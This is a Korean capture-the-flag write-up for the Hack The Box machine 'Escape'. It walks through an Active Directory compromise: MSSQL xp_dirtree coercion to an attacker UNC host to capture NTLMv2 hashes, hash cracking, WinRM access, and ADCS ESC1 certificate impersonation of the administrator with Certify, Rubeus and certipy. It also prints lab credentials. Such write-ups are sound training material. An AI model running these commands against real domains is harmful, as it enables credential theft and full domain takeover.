링크: https://app.hackthebox.com/machines/Escape Write-up 참고: https://0xdf.gitlab.io/2023/06/17/htb-escape.html 난이도: Medium OS: Windows (Active Directory + ADCS)
공격 흐름 (Attack Flow)
Nmap 스캔 (SMB, MSSQL 1433, LDAP, Kerberos, WinRM)
→ SMB 익명 접속 → PDF에서 MSSQL 게스트 크리덴셜 발견
→ impacket-mssqlclient로 MSSQL 접속
→ xp_dirtree로 NTLMv2 해시 캡처 (Responder)
→ hashcat 크래킹 → sql_svc 크리덴셜
→ Evil-WinRM 접속
→ MSSQL 로그에서 Administrator 크리덴셜 발견
→ Certify로 ADCS ESC1 취약점 발견
→ 인증서 요청 (administrator 사칭)
→ Pass-The-Cert (PKINIT)
1. Recon
nmap -Pn -p- --open -n --min-rate 2000 10.129.251.62주요 포트:
- 53 (DNS), 88 (Kerberos), 135, 139, 445 (SMB)
- 1433 (MSSQL), 389/636 (LDAP), 5985 (WinRM)
도메인: sequel.htb
2. SMB → MSSQL 게스트 크리덴셜
SMB 익명 접속으로 공유 폴더 확인:
smbclient //10.129.251.62/Public -NPDF 파일 발견 → MSSQL 게스트 계정 정보 포함
3. MSSQL xp_dirtree → NTLMv2 해시 캡처
# 1. Responder 실행 (NTLMv2 캡처 대기)
responder -I tun0 -v
# 2. impacket-mssqlclient로 접속
impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.129.251.62 -windows-auth
# 3. xp_dirtree로 공격자 서버에 UNC 경로 접근 유도
SQL> EXEC xp_dirtree '\\10.10.14.x\share', 1, 1Responder에서 sql_svc 계정의 NTLMv2 해시 캡처
xp_dirtree 원리
xp_dirtree는 MSSQL의 확장 저장 프로시저로 UNC 경로를 통해 원격 파일시스템에 접근한다. MSSQL 서비스 계정으로 SMB 인증을 시도하므로 NTLMv2 해시가 공격자 서버로 전송된다.
4. 해시 크래킹 → Evil-WinRM 접속
hashcat -m 5600 sql_svc_hash.txt rockyou.txt→ sql_svc : REGGIE1234ronnie
evil-winrm -i 10.129.251.62 -u sql_svc -p REGGIE1234ronnie5. 로그 파일에서 크리덴셜 발견
MSSQL 로그 파일 분석:
type C:\SQLServer\Logs\ERRORLOG.BAKRyan.Cooper 계정의 평문 패스워드 발견 (로그인 실패 로그에 패스워드가 실수로 포함됨)
→ Evil-WinRM으로 Ryan.Cooper 접속 → user.txt 획득
6. ADCS ESC1 — 인증서 기반 권한 상승
Certify로 취약한 템플릿 발견
.\Certify.exe find /vulnerableUserAuthentication 템플릿이 ESC1 취약점 보유:
ENROLLEE_SUPPLIES_SUBJECT플래그 활성화- 인증서 요청 시 임의의 SAN(Subject Alternative Name) 지정 가능
ESC1 공격
# 1. Administrator 사칭 인증서 요청
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
# 2. 인증서를 pfx로 변환
openssl pkcs12 -in cert.pem -keyfile key.pem -export -out admin.pfx
# 3. PKINIT으로 TGT 획득
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:PASSWORD /ptt
# 또는 certipy 사용 (Linux)
certipy auth -pfx admin.pfx -dc-ip 10.129.251.62→ Administrator NTLM 해시 획득 → root.txt 획득
ADCS ESC1 이란?
Active Directory Certificate Services(ADCS)의 잘못된 템플릿 설정이다.
ESC1 조건:
- 인증서 템플릿에서
ENROLLEE_SUPPLIES_SUBJECT허용 - Client Authentication EKU 포함
- 낮은 권한 사용자가 등록 가능
결과: 낮은 권한 사용자가 Domain Admin 등 임의 계정 사칭 인증서 발급 가능
핵심 취약점 요약
| 취약점 | 설명 |
|---|---|
| MSSQL xp_dirtree | NTLMv2 해시 강제 전송 |
| 로그 파일 크리덴셜 노출 | 평문 패스워드 로그 저장 |
| ADCS ESC1 | 임의 SAN으로 관리자 인증서 발급 |